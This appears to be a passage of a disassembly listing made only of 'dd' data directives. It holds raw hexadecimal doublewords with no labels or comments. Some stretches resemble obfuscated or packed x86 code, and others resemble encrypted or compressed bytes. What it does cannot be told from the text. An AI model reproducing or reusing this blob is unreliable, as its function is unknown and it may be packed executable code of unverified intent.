		dd 6A4F044Dh, 99FB53F6h, 0AF4C0C5Dh, 0AE0114Dh,	0FF1800F8h
		dd 0B3CCED4Eh, 162FED1Ch, 0C8E1163Fh, 0BC057829h, 8F4D10B2h
		dd 1E37885Eh, 0A2251ED9h, 0C86F53h, 925B2h, 8D7AF200h
		dd 8F6CEC3Dh, 8F68EE3Fh, 946BEE3Fh, 9562F344h, 0CD067E45h
		dd 0CE1F6F88h, 0D122729Dh, 0D0217186h, 0FB1D6D9Ah, 0A352CD7Eh
		dd 0CAA21AA9h, 391CF35Dh, 9FB68DBEh, 0B3B70858h, 0F39D0656h
		dd 0FB38A354h, 0BA781C8Dh, 1107F189h, 0D0F547F8h, 3DFB1A93h
		dd 0C11E1F24h, 61067100h, 5F9BFD0Ah, 0DFEED607h, 1A937A78h
		dd 8334D36Eh, 1A937A18h, 60699A58h, 0D3F4ED7Ah,	0D3E6E7E2h
		dd 99000000h, 0F069AFBBh, 56A1B607h, 470EE5FEh,	62977FB0h
		dd 93A204F3h, 1C8DFFE2h, 5FAF5812h, 8BF6A746h, 0CB1C8DFEh
		dd 6505DC0Dh
		dd 0A4544AACh, 6CD3404Dh, 0F99110EBh, 556EC603h, 0F69A05B6h
		dd 0F5DA1C8Dh, 7B50618Eh, 0BBEC4489h, 0B0A67D1Ch, 78A9E547h
		dd 9363B9C7h, 0A9F9B71Ah, 9EB76197h, 0B3F35FEDh, 70E69D1Ch
		dd 91E92587h, 43B4A178h, 44B3A2F3h, 53A4C489h, 35834B6Fh
		dd 82Ah, 489875F7h, 4C9C61F7h, 4E9E5BFBh, 53A35CFDh, 54A45302h
		dd 79DC158Dh, 8EDD2E7Eh, 77E03181h, 87E33484h, 9B183A8Ah
		dd 0A9A277EAh, 7AE7BF1Ah, 0D5D9ABBh, 4861AEBCh,	0FAE5B043h
		dd 9FD0DEF7h, 3A11B0C9h, 32ADD81Fh, 821C8D41h, 9FB645C4h
		dd 311D36F8h, 0AFBB1100h, 0DA444962h, 9E04860Dh, 0A5DAC2F3h
		dd 0E3FC4CC5h, 93289344h, 0B1681C8Dh, 0C8F951A6h, 3750F830h
		dd 0EEB8AA32h, 7BFAF3CDh, 2164BFBAh, 0C261926Ch, 93F7BF11h
		dd 0C0AA811Ah, 0DCB1647h, 1BF476ABh, 17F07ACBh,	0EA1EA6B5h
		dd 0F7969DD5h, 0AE34A758h, 0BE7C91E9h, 869E848Dh, 64B4081h
		dd 91DA60E4h, 16ED1E76h, 1A6BBB54h, 0DA45F650h,	0C691E997h
		dd 0E997AA15h, 672CEA91h, 0E0EF51A9h, 91E99778h, 44847E01h
		dd 9265F026h, 4C9CF430h, 89A26FFBh, 0B299EE84h,	0F122D255h
		dd 0BA7EFA09h, 818A6E16h, 0B9B28999h, 7FB0EC4Eh, 0F545C2A8h
		dd 0A85105DCh, 2D90A46h, 473D9F68h, 9D4E67D1h, 97F742DBh
		dd 526BBB79h, 0ED1EDB7Bh, 0EF7CA355h, 2B3CC24h,	89111AB6h
		dd 2ED4835Ah, 1A7CD42Bh, 0A462ADDEh, 16CD3342h,	0BCC1852Dh
		dd 6C4841C6h, 63A5460h,	0ED000004h, 174EEEF3h, 567BA52h
		dd 47F39FD4h, 0A152E870h, 1C8D9A3Eh, 0FE60B876h, 0FF991C2h
		dd 0A94F0019h, 0E71A93BAh, 11C87729h, 149B9DA8h, 441B34E4h
		dd 8E7BEF13h, 6798F02Ch, 9A3117C8h, 0A15F9DBEh,	69DF493Fh
		dd 9D00B150h, 0D591C67Eh, 9647E617h, 97E706FEh,	18E5734Ah
		dd 0C5DE9CE7h, 43937CEEh, 0FA17532Ah, 542B5C98h, 14873816h
		dd 5C8FE105h, 0CC8B469Eh, 47F68158h, 660317Fh, 3F2D0000h
		dd 273182D2h, 253182D2h, 263384D4h, 1D3889D9h, 4BC38ADAh
		dd 64B44312h, 6BBB5813h, 6ABA3D1Ah, 68B85119h, 0A518C946h
		dd 0ED1AA9A0h, 0EFAA815h, 5FC13621h, 7384D223h,	8C63021Bh
		dd 520334DFh, 1A93ECFEh, 3A3F5816h, 0BFD7E981h,	0EFD708B6h
		dd 0BD3A1BF2h, 17EE1F5Bh, 5354B653h, 8177706Ah,	43CD7E97h
		dd 911C8D6Eh, 224F91DAh, 8FCB64EFh, 0E673C41Ch,	237BB719h
		dd 6A1BBAD3h, 10B16AF7h, 965BB8B3h, 27E487D8h, 0BE4B1FF6h
		dd 0C643275Ch, 7B94D6ADh, 0C4ACDD19h, 1E3BC98Fh, 0F22789E1h
		dd 0F12D8F78h, 0DF41B6A0h, 0AAF9E1EAh, 77B7AB2Eh, 5EFD16F3h
		dd 0B16A32ADh, 93C48210h, 89CDA4BDh, 2A233F70h,	1CE1C4C4h
		dd 2B9h, 7D54F3CFh, 80BC1EDBh, 8DFBEA55h, 43CC9E1Ch, 22E0A5E1h
		dd 79AF59F1h, 0ADA6AF60h, 0DC9A1AA9h, 966CECC3h, 81E33BD4h
		dd 7B2C45h, 501AA9ACh, 0EBC26192h, 0EC3D8D6Ah, 1D2C8E69h
		dd 0E5565359h, 0E85304A3h, 281AA9ACh, 862396Ah,	0C4C3393Eh
		dd 32610595h, 0A9D09407h, 0A6DB221Ah, 8D9C38DDh, 0F7B20AC8h
		dd 6938D56Ah, 23B705CDh, 0F0000005h, 0EE3F8F7Ch, 2 dup(0EC3D8D6Ah)
		dd 0F142926Dh, 7C439364h, 6D8ACB04h, 749FCC1Dh,	7784D324h
		dd 7B94D627h, 0DB8C092Bh, 1AA9A760h, 0F36BD8B0h, 54039AEEh
		dd 0A376F502h, 0CB63941Bh, 21D2EB5Dh, 1AA94354h, 9824B3B8h
		dd 92E70E66h, 900F6C20h, 0BAEB03C0h, 0DC3FF06Fh, 141AA87Eh
		dd 679CFE56h, 65B60603h, 75AA0C05h, 2C031CF5h, 7891D92Dh
		dd 0A707EF20h, 55A2B78Eh, 0E7271B24h, 0A0368683h, 0E7DBCFA7h
		dd 1C099h, 0AFBB4C00h, 9FCB0062h, 9BA5972h, 1C8DFB96h
		dd 19EF20DEh, 0E271107h, 71F9D06Fh, 0FBF26D98h,	8B421C8Dh
		dd 0A7D830CDh, 93E6F6F6h, 0B263021Ah, 1A93E64Fh, 4D98C987h
		dd 0A71E2D8Fh, 6B1A93E6h, 0AEAB0DEAh, 93E682FDh, 0C314D21Ah
		dd 11066895h, 0C4D31208h, 554EDBBFh, 47E7E33Ch,	3Eh, 590EFAFAh
		dd 8DFB35A8h, 0A6BF7D1Ch, 8DFB8AF5h, 0B40CCA1Ch, 0D056EA9Bh
		dd 0E09E1A93h, 0D0086F7Eh, 0F9FE1A93h, 2A8B8401h, 0FE6E7E3h
		dd 114DAF5Ch, 0D1D8E0h,	4DB0000h, 0C48AA55h, 0AFBBECDBh
		dd 0E7724962h, 4172AE10h, 0E6BD5C59h, 0EA26886Fh, 8DFB5CBFh
		dd 2C8F401Ch, 641C8DFBh, 0F223E1A6h, 5BBD3A1Bh,	69CB4426h
		dd 8BE03634h, 91E21E80h, 92CE30D9h, 96BFEA3Ah, 3E1C8DFFh
		dd 2BCAE32Ch, 8DFE077Ah, 40914F1Ch, 0D9AFE02Bh,	7E05BBC0h
		dd 0B31F0A57h, 0A3EEA82h, 407E40F1h, 0B4721AADh, 6691C49Bh
		dd 6790C516h, 3516BFACh, 3C8A5269h, 386h, 0ACFC1953h, 0B000FD5Bh
		dd 0B202F75Fh, 0AFFFF861h, 0B000F75Eh, 1D3871E9h, 32398ADAh
		dd 233485D5h, 333788D8h, 0E76486D6h, 0A9A5CB36h, 0C6330B1Ah
		dd 38A354F3h, 781C8DFBh, 0A3B289BAh, 0F1643B54h, 57A0B506h
		dd 6BFF5026h, 0FBB12CDDh, 43011C8Dh, 0BB329BEBh, 0CB0062AFh
		dd 922729Fh, 60112532h,	1C8DFBFDh, 0BD1F7735h, 40B85081h
		dd 6A0EBFD8h, 0EA1A93FCh, 0F347BA6Bh, 0D88F1A93h, 7207893h
		dd 93F3EB56h, 156D2B1Ah, 7ADFB6B3h, 6D1E1B7Dh, 1A93F3F2h
		dd 0FB2C8442h, 93F3D14Ah, 0F3E76A1Ah, 11A0EFAh,	8DF41450h
		dd 1E6E2C1Ch, 0A354F3B5h, 1C8DFB38h, 0B289BA78h, 0B8ED4FB8h
		dd 584F2EB2h, 7E163151h, 54C4D626h, 0DA1ACBE4h,	7A1A93FDh
		dd 0E6693C3h, 0C3269DACh, 272C1A93h, 20BDB633h,	25AFE7E3h
		dd 62000000h, 11A0EFAh,	93D0CC50h, 7ED9B01Ah, 3FFD4879h
		dd 0D057CEDDh, 585D1A93h, 29ECE562h, 0B7DEE7E3h, 91000000h
		dd 62AFBBh, 0FBAC8ACBh,	1C8DFB80h, 91C08F16h, 0D99E9B91h
		dd 6461C31Bh, 0C834C65Fh, 86B7C5CCh, 0EC4EBBAFh, 656B3B7h
		dd 8D3CAADBh, 0F7105A1Ch, 0FB1456A7h, 0C375A399h, 3E9BF9AAh
		dd 0FBB91A93h, 0C06F99ABh, 0EC055DAAh, 0B382653Bh, 9CB5731Ch
		dd 346592C5h, 6097BE95h, 14E77047h, 6F4576B2h, 5C0371Eh
		dd 6F53DC70h, 0B99E7AFh, 0D8000002h, 0D6277794h, 2 dup(0D4257582h)
		dd 0D92A7A85h, 642B7B7Ch, 55A2B3ECh, 5CB7B405h,	5F9CBB0Ch
		dd 63ACBE0Fh, 0C374F113h, 1AA9A458h, 0BB53C098h, 6D445D9Ah
		dd 75B113ECh, 188968F6h, 1B4CF273h, 9976F445h, 0EFAE049h
		dd 0FB35A859h, 0BF7D1C8Dh, 0B113FC6Eh, 2D041D75h, 316DCF28h
		dd 0BDC26100h, 0A33F2501h, 568D0C89h, 0DB4C28F7h, 0B954677h
		dd 491A937Eh, 0A31A298Bh, 671A9322h, 74A90BF0h,	0BBB81AE5h
		dd 9322970Ah, 421DF1Ah,	0D1E0271Bh, 7BE69736h, 0BB1A9322h
		dd 0DFC3CCFDh, 0E27C514Ah, 0C943E7h, 0BBF60000h, 0AA4962AFh
		dd 8DFB86F9h, 0DF10CE1Ch, 3D93C2F7h, 2B2A8DA2h,	0AF2E6ACCh
		dd 0A6FE54B5h, 0A3003544h, 0B6B41C8Dh, 0B2B80959h, 83373C55h
		dd 3074D514h, 9368F041h, 0DCC4F531h, 0ED0632E6h, 93CCDC3Ch
		dd 0EE3EFC1Ah, 0E3FC2CDCh, 0B3158932h, 0F20BC91Ch, 5BBD3A1Bh
		dd 6DC53226h, 8FC69D3Ch, 0C112E76Fh, 0C6026495h, 5B6556Eh
		dd 10B30B9Ah, 15EB1CDAh, 0BE3F91C4h, 5A83E06Fh,	2547BA6Bh
		dd 0D18F10B3h, 19662179h, 346F5339h, 0D41E6Ch, 0CBA10000h
		dd 0BB9DEE3Eh, 0B99DEE3Eh, 0BA9FF040h, 0B99CED3Dh, 0AF27EE3Eh
		dd 0C818DF76h, 0C717F477h, 0C616E176h, 0CC1CF575h, 17C2DAAh
		dd 511AA99Ah, 9ABB0C79h, 0AEBC0D5Dh, 0BBA81161h, 0AA4962AFh
		dd 8DFB86F9h, 56C97A1Ch, 9E1C8DFBh, 0C5D1BE0h, 9B83B45Fh
		dd 0F20B0466h, 5BBD3A1Bh, 618EE1Fh
		dd 5C0D2612h, 1AA9AD0Fh, 0CA3820F7h, 0B0126A8Dh, 13F84374h
		dd 760C9002h, 372071B1h, 0CE2662C4h, 0D633376Ch, 0B5353586h
		dd 0ED0E1A40h, 2082DA52h, 0A0D66A11h, 6159625Ah, 82A14129h
		dd 0DFE684A2h, 167893D8h, 0DA2A82DAh, 0C628E189h, 5408C891h
		dd 189F08D6h, 0CDCE3088h, 1BE0774Eh, 434C7DB9h,	0AE5B0F5Fh
		dd 0BB5D0D5Eh, 0C50163B0h, 3BD0B6Dh, 70000000h,	0B1BB804Fh
		dd 9DCD0264h, 7ADD1274h, 85E61B7Dh, 62F3288Ah, 57FE3395h
		dd 50093EA0h, 461045A7h, 3E1A4FB1h, 68C257B9h, 5E51h, 68240489h
		dd 808h, 56240C89h, 0C681E689h,	4, 8704EE83h, 895C2434h
		dd 3D68241Ch, 8B062457h, 0C481240Ch, 4,	47B668h, 24248900h
		dd 4240483h, 8B8505Bh, 1000000h, 0CE8956D8h, 585E3089h
		dd 56241C8Bh, 0C681E689h, 4, 8704C683h,	0FF5C2434h, 81592434h
		dd 4C4h, 0E1F6E900h, 7F84FFFAh,	0E39B6D7h, 0B8CFE7B4h
		dd 6246213h, 0E0FFC503h, 4300261Ch, 0A537578h, 3EE12D8Ch
		dd 333D7528h, 4F66AE1Fh, 8BCF8CEh, 32372BC8h, 5F5D0E9Fh
		dd 696B49FFh, 6F437FA9h, 3DB60C98h, 2ACD5F5Eh, 412EB526h
		dd 31A5D13Ah, 45BBC562h, 398D617Eh, 3AD547B4h, 658BC217h
		dd 4EF9415Fh, 2AC9699Fh, 7A0C7ACCh, 4605D5C8h, 7C14CC5Dh
		dd 7F3D8EBEh, 1B4047F4h, 3A805BCEh, 0FE8h, 6E99A00h, 81BBC537h
		dd 8A5E14EDh, 72FB698Bh, 8B5AF18Bh, 0EAC281F1h,	6600006Ah
		dd 8697C881h, 8B66C92Bh, 1134FFC1h, 8B665FF8h, 0EAC781DEh
		dd 0E97B8B31h, 8, 4A8AC75Dh, 69164998h,	0C97EF781h, 8CB73505h
		dd 7F8CEF81h, 81661A15h, 57E3F6D8h, 0FDB86653h,	48F589Ch
		dd 89D0810Ah, 0F1D02CFh, 0E983F0BFh, 0ABE08103h, 493B1BBAh
		dd 0B2834EBEh, 98F9815Eh, 0FFFFF95h, 0FFFFA485h, 7AD381FFh
		dd 0E81C9329h, 5, 92B06C45h, 5A21B53Ah,	0FE9h, 1BE46700h
		dd 8A922084h, 8ECECD57h, 0C0AD5DF1h, 71D3C281h,	0BF0F0000h
		dd 66F633CFh, 0FFC101BFh, 0E0811634h, 4C8EAE35h, 88EB815Bh
		dd 0F546DB5Fh, 9140C381h, 0BF0F2921h, 22EB81C2h, 0B939BCDBh
		dd 7D05E55h, 14E853h, 9F1F0000h, 0AEC2218Ch, 2AD2FB09h
		dd 0ABFEE5CCh, 3F3AD4Eh, 0E860566Ch, 7,	3087F21Ah, 589690F5h
		dd 10E9h, 0E09C5200h, 18BC9634h, 0EB9D67C9h, 0D7F44D8Ch
		dd 8F5861D5h, 840F3204h, 0Fh, 0AE9h, 0CDF2D800h, 1C30983Bh
		dd 0F36DC2Fh, 0EE81CABFh, 69D26071h, 3860Fh, 8B660000h
		dd 6DC681FEh, 0B169D260h, 0F8FE81AEh, 0FFFFF8Eh, 0FFFF5E85h
		dd 0E8F98BFFh, 0Bh, 6A61BD46h, 4515AD50h, 526D446Fh, 14E9h
		dd 4F849800h, 35453BF8h, 2F20D759h, 2C458090h, 0FC016A48h
		dd 8B5F58D4h, 0EFC781D8h, 8A00006Fh, 1BDDBEFDh,	0EA8A0000h
		dd 0BF0F37FFh, 0A9B55ACFh, 99BEEA81h, 0CEB8521Bh, 8104077Bh
		dd 78883BC2h, 0D3EA8150h, 0F530C0D9h, 0EF811789h, 9DD9E34h
		dd 0C781CB8Bh, 9DD9E30h, 28F0Fh, 58570000h, 0F01EE83h
		dd 0FFFFBF85h, 0E4E081FFh, 8D1A999Ah, 2465528Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 89C5D38Ah, 1E23758Dh, 599D8B06h, 89061E17h, 1E02AD9Dh
		dd 4D85C706h, 28061E32h, 8B00005Ch, 1E0281B5h, 6985C706h
		dd 61E31h, 31000000h, 1E21E99Dh, 11B5FF06h, 8B061E2Dh
		dd 1E2E7195h, 0B995FF06h, 52061E16h, 6A5FC18Bh,	0C195FF00h
		dd 8B061E26h, 0C14CEBC0h, 17856AA4h, 0BDC4C506h, 3BF4F167h
		dd 12236D81h, 6DF7B80Ch, 33BF1149h, 87B0A7EEh, 0C3A61B5Eh
		dd 8EA6DC7Fh, 0AA57A119h, 4B50F8EEh, 2D6C7037h,	6CBDAC7h
		dd 92383331h, 933F8FF2h, 0DBCC130h, 0B3C3BA8Bh,	0C94AE5E0h
		dd 8D1C27A1h, 2466618Dh, 64BA6606h, 758D8964h, 6A061E23h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0F071C357h, 1C9B6688h, 1C3B41A8h,	0BB57BA66h
		dd 28C0Fh, 0DE8A0000h, 324D85C7h, 5B50061Eh, 8A0F0000h
		dd 0
		dd 316985C7h, 61Eh, 8B600000h, 1E0DF19Dh, 61CBB206h, 0C890Fh
		dd 8D0F0000h, 6, 9A58509h, 0B5FF061Eh, 61E1475h, 6880Fh
		dd 8D890000h, 61E1581h,	16B995FFh, 6A061Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 7A4C9BC3h
		dd 98FF4887h, 0B866EAE4h, 6A22AFh, 26C195FFh, 0C08B061Eh
		dd 9345DEBh, 7BB38C31h,	236C5E9Eh, 5A4ADC03h, 0B5A67541h
		dd 51FFD74Eh, 635000BEh, 0A767039Ch, 0B4EBE563h, 97597542h
		dd 0C2F04BBBh, 32F22727h, 0E5FC0D9h, 0DB1A25C2h, 2246C578h
		dd 0D344956Bh, 0A9BA09DFh, 0E294AF4Dh, 0F62DF557h, 0E061939Eh
		dd 940FF883h, 6DAFFC82h, 569CA831h, 0E85DA64Dh,	0Ah, 59DC088Fh
		dd 40CD0988h, 0BD8B7FF1h, 61E0091h, 0B58D8B58h,	81061E2Bh
		dd 6939C0h, 66C18000h, 0DFF68BBBh, 95F3817Eh, 8B7EDFECh
		dd 40F28110h, 2960873Eh, 1E2A7D8Dh, 3BEA8106h, 296EC4C2h
		dd 1E0255BDh, 4DF28106h, 607DE747h, 4119D8Bh, 858B061Eh
		dd 61E02D9h, 0BF665261h, 8FF8D8h, 81FBB70Fh, 4705BEE8h
		dd 0AE933h, 2AC90000h, 6BC9C491h, 840491EAh, 5BAC081h
		dd 0B5333347h, 61E2D41h, 0F01EB83h, 2685h, 14E900h, 0A2130000h
		dd 21451F85h, 6ABDD9F9h, 447DAA24h, 0FFDFD97Bh,	1AE9B1E9h
		dd 9E000000h, 1BF1A4C6h, 0E98144D3h, 0FFFFFF73h, 0D648B57h
		dd 588DA0A3h, 4BA450ABh, 5E80Bh, 0F0070000h, 8950E44Eh
		dd 1E1FC19Dh, 8EB85A06h, 813E7AF7h, 65F6C2h, 0C1BF6600h
		dd 0FFD1BEC9h, 0F6817A07h, 7A07E689h, 551BD8Bh,	1A8B061Eh
		dd 1B25BD89h, 0EB81061Eh, 14E1F04Dh, 9494F381h,	852B5325h
		dd 61E0075h, 0BDC8C381h, 0DE81945h, 0FF000000h,	31684D58h
		dd 0BF74BEDDh, 153A0B7Ch, 0DE8h, 30031700h, 0CD4951h, 0BBE30789h
		dd 81664977h, 5F2564E1h, 8B1A8959h, 1E13518Dh, 4EA8306h
		dd 260535BFh, 850F4E2Eh, 0FFFFFF9Eh, 6810Fh, 0F7810000h
		dd 2359A240h, 69348D8Dh, 6A0624h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0AEF161C3h, 8AC03EFEh
		dd 9D89B6FDh, 61E07B9h,	23758D89h, 6A061Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 1312A8C3h
		dd 0E5B71FA7h, 0F294377h, 68Ah,	0CD9D8B00h, 0C7061E32h
		dd 1E324D85h, 641806h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0C7CC2C89h, 899BF943h
		dd 0BE660C18h, 85C7BC89h, 61E3169h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 6BC35343h
		dd 0E887DA5Bh, 0FFD68BF9h, 1E1EB5B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 8CA2180Fh, 0FFD1C77Ah, 1E16B995h, 65952906h,	81061E08h
		dd 6076D6E3h, 0FF006A48h, 1E26C195h, 0EBC08B06h, 0B5339C3Dh
		dd 0A4B4529h, 6FB5A1C7h, 0C8C389F4h, 0BD14FAFAh, 1B5F73B7h
		dd 0A7FA7FB1h, 0A0FCEDCh, 2914F6F3h, 0BAC7CDC6h, 8D62A347h
		dd 4420C612h, 43B89FCh,	0A3A83E16h, 8F22C2CDh, 8D8D5FEFh
		dd 6246A5Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	4CC35040h, 23011E92h, 1E0E35BDh, 758D8906h, 6A061E23h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0F12EC352h, 4890Fh, 60570000h, 7E95B61h
		dd 46000000h, 483FFE11h, 85C73807h, 61E324Dh, 5E04h, 5E8h
		dd 0EAD2BB00h, 0F5E37F2h, 68Dh,	850F00h, 0C7000000h, 1E316985h
		dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 4F4BC8BAh, 15BD8959h, 0FF061E16h
		dd 1E2931B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0B995FFD9h, 6A061E16h, 0C195FF00h
		dd 8B061E26h, 970EEBC0h, 1D071372h, 0AB70E7Ah, 0A7B5E98Bh
		dd 604EB01h, 0E97108FBh, 54Ch, 46BB66FBh, 6FE48D2Bh, 9C11D054h
		dd 0C63BFA81h, 0F2670AABh, 33B4BFB1h, 44DEF96Eh, 65092499h
		dd 8D304BC0h, 0D36F6FE4h, 493D27BDh, 0A27A2F3Fh, 4F31F073h
		dd 62A90097h, 0B2B22EF1h, 0BE630403h, 0EA8B2E49h, 0B4375008h
		dd 9B4A0BEDh, 7658199Ch, 78965FDDh, 49C4DF5Fh, 7BC70903h
		dd 0C86F6E95h, 0D7864729h, 42D971F5h, 0D927A75Fh, 0D55807B5h
		dd 8D27BE8Fh, 0B1A8CD02h, 4F5EF05h, 1C613925h, 0A44746F5h
		dd 0B74E88FDh, 0EC21DD69h, 62A0AA5Ch, 0A5B63BE8h, 2ED0CF7Eh
		dd 0D4546D8Bh, 0BB6A2B0Dh, 0E68B2B46h, 0D4D76B04h, 999F5773h
		dd 0EF01740h, 68397FA0h, 5504AD4Fh, 0EF0DD056h,	0E08F56D6h
		dd 4AD506Bh, 0CB558C22h, 82833925h, 0DBCFCD3Ch,	798881C4h
		dd 0D2000000h, 4F31F073h, 24D329B9h, 6AB0B139h,	0C5D4FDFBh
		dd 91A94081h, 78DAB98Ah, 6306A7A6h, 6911C081h, 1, 2CF573B3h
		dd 0AF76F50Eh, 0E7851E00h, 0FA89203Eh, 36385088h, 0F45D3A60h
		dd 0C449E477h, 57567D24h, 6A2B0DD4h, 0B940D9BBh, 3AC1DAF8h
		dd 66EACC7Bh, 0CB712369h, 0C5C71D33h, 7E043925h, 0E30A4FC3h
		dd 11D0536Eh, 8DCB629Ch, 0B67BFB43h, 0B59613D4h, 0D48C3B38h
		dd 0CB57F273h, 91C9E70Eh, 24D2697Bh, 8AA8ED39h,	24D27074h
		dd 0F2A1E639h, 30F17710h, 702DB54Eh, 0B273F58Eh, 90722FB3h
		dd 0ECC60C0Fh, 0ABC0205h, 6AA2C065h, 24D29054h,	0D281C639h
		dd 0F6BF425Dh, 38F97B14h, 556EA656h, 6A2B0DD0h,	83F238BBh
		dd 81C5D295h, 744Eh, 949B3200h,	4730CECBh, 73FFB766h, 0B44D2FF2h
		dd 0F68F7130h, 12CAAC71h, 24D2E8FCh, 2A296E39h,	7DFEE085h
		dd 705A347Ah, 0C55C2D73h, 0C4D13681h, 0CAC97892h, 0F00B8025h
		dd 2FC8AA4Fh, 0C96C1188h, 0CB6B84A2h, 0E5957726h, 0A5930248h
		dd 5E81C588h, 38h, 2FF273A8h, 9732B44Dh, 0A96A4C15h, 6605A082h
		dd 2DC96E20h, 24D2CD17h, 45448939h, 64D900BDh, 2CF57390h
		dd 0D32DB44Ah, 0AAAB3924h, 0D4F7F564h, 1B081C5h, 0FA000000h
		dd 1230F173h, 0CEB075F9h, 0E37C5E0Dh, 51BFA140h, 0B438EA30h
		dd 9C9D78EDh, 6881B9D7h, 804123C6h, 0DB08D5D1h,	0FB403F42h
		dd 13296119h, 3306CAD1h, 92914085h, 97D146EFh, 0CA9B495Fh
		dd 76BB3306h, 7C25C8C7h, 0CADE049Ah, 48E73306h,	4AD5002h
		dd 0DAF1748Fh, 0F87461F4h, 65476E72h, 0A68829CCh, 0BDC2225h
		dd 0FBAA4BF2h, 9AB879FCh, 593BFA81h, 3A74E998h,	65039A21h
		dd 0F219DABCh, 0E4A04F10h, 87E4A2E6h, 9DBF129h,	4D3305F9h
		dd 0BF660908h, 11E6810h, 54B20000h, 0EBA4A73Bh,	0AF7257BCh
		dd 5918C7EEh, 5F7593E0h, 3F432C6Ah, 0D78F71B6h,	0E83BA040h
		dd 9C4BEFA5h, 3D5B1A9Dh, 30DF8224h, 541DA0BBh, 8F56D972h
		dd 0E3292CADh, 72E78E31h, 0E3569C9Ah, 4D5587h, 549F0000h
		dd 0D2DE061Ch, 33783924h, 378C584h, 0D365CFE5h,	4C913924h
		dd 0D310D46Ah, 0F1F23924h, 780439ABh, 1D19D85Fh, 3924D2C7h
		dd 28CD728Fh, 0A6BCDA01h, 3924D38Eh, 27DFCD68h,	5D3E23AFh
		dd 95B7C136h, 1F000000h, 0DABC6106h, 54B26A19h,	0AA33BCBDh
		dd 0EE138683h, 6475F219h, 5AC50FDh, 8C3B6223h, 0E9076CCDh
		dd 435922D3h, 2F11563Fh, 0DD521396h, 94763FC2h,	72BE1FEh
		dd 0F93FDE33h, 0DFFDA447h, 0B22FD648h, 6312458Ch, 4D2613EEh
		dd 278A982Fh, 36C3A0FEh, 0FC536987h, 30392BA1h,	0A7CE9313h
		dd 0E8892CC5h, 24C96D06h, 8419A942h, 34163DE4h,	0B18BD1D2h
		dd 476BCDDh, 0E58FE635h, 0EDE273CFh, 6E2BB9CFh,	0E62B2CE2h
		dd 0E788A1BFh, 5F759342h, 3306D7F0h, 0AE82F73Ch, 0DDF686B3h
		dd 0F7B89A5Bh, 24D2E9FBh, 37ADC339h, 1F3924D3h,	0FA2166DAh
		dd 3D89C6DCh, 67A33F49h, 689351h, 577EC333h, 9859DC75h
		dd 1652E923h, 9D475D42h, 0B933008Dh, 9A88F774h,	3A1ADAC2h
		dd 3960B92Ah, 49E88B8Ah, 7C5CF32Bh, 0D221EC79h,	2619CBC7h
		dd 0F83D3300h, 26D16749h, 0E0AA2CB1h, 0B3CC9DE3h, 0CB8C6E33h
		dd 0DB9A1D1Ch, 9A84B66h, 46EF8E27h, 0CF3C9128h,	0D5DC875Ah
		dd 8AB4426h, 4FEE8769h,	882BC4A6h, 349E8E9h, 0EE345529h
		dd 9820B93Ch, 6F765CD9h, 8D490FF2h, 53D6F166h, 0A28B092h
		dd 90000000h, 4C2EEB77h, 7F24DC8Bh, 33EE73A7h, 6C35B851h
		dd 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh
		dd 0E18024BDh, 1FC666FFh, 0BA68003Dh, 89000018h, 0BD552424h
		dd 4, 4246C01h,	0E189515Dh, 4C181h, 0E9830000h,	240C8704h
		dd 2414895Ch, 5E08950h,	4, 8704E883h, 895C2404h, 7868242Ch
		dd 8B06246Ah, 0C4832414h, 2C8B5404h, 4C48124h, 52000000h
		dd 51A3BB53h, 5C01791Ah, 8F5B0424h, 6D810845h, 1A51A308h
		dd 2434FF79h, 4C4835Dh,	5324148Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 0E4E95C24h, 0BEFFFA0Fh, 0A2BA8854h, 3BA683E6h
		dd 246F36B8h, 0FFC50306h, 225F36E0h, 11766D51h,	24325233h
		dd 0C0A14E57h, 0F8553677h, 0C3988310h, 6E14F657h, 393F6441h
		dd 0CC2BCE04h, 0A1E4077Eh, 7F806E6Dh, 845E9D5Dh, 729C6C44h
		dd 8395685Eh, 0D8A7D659h, 704BB02Bh, 9D155C1Dh,	0BD8D8D53h
		dd 8B062470h, 1E1ED995h, 758D8906h, 6A061E23h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0F123C350h, 12E9D8h,	14420000h, 0E4ED9185h, 0FD85F8E9h
		dd 0AB2B3F97h, 0DF223265h, 324D85C7h, 59F4061Eh, 0BD8B0000h
		dd 61E0019h, 316985C7h,	61Eh, 0B5330000h, 61E1211h, 2949BD23h
		dd 0B5FF061Eh, 61E2931h, 9E9h, 76390E00h, 6CB7907Ch, 95FF4A4Ah
		dd 61E16B9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0C8C35040h, 6A49EBh, 26C195FFh,	0C08B061Eh, 4C010EEBh
		dd 8FA9DC78h, 77520CECh, 0C32CC656h
		dd 69F204EBh, 43E92311h, 98000005h, 0BED94E0Bh,	0E702773Eh
		dd 0C279C45h, 344FC46Dh, 3879EEB3h, 0F7BA3B46h,	1EDB6782h
		dd 45E88EA9h, 7332B5D0h, 4C62FEFEh, 3F494298h, 733109BEh
		dd 974F31F0h, 79F71100h, 7B8E8618h, 0B8A42196h,	403FEEACh
		dd 45DCFABFh, 90120C44h, 2A9F4E3Dh, 1D9FB8F0h, 0A18C5854h
		dd 85CA3925h, 9241FC86h, 6F511093h, 0B09253D6h,	70F89117h
		dd 0FA88AB1h, 0A64FF26Fh, 0FADC03C4h, 3517DE61h, 916BB1B4h
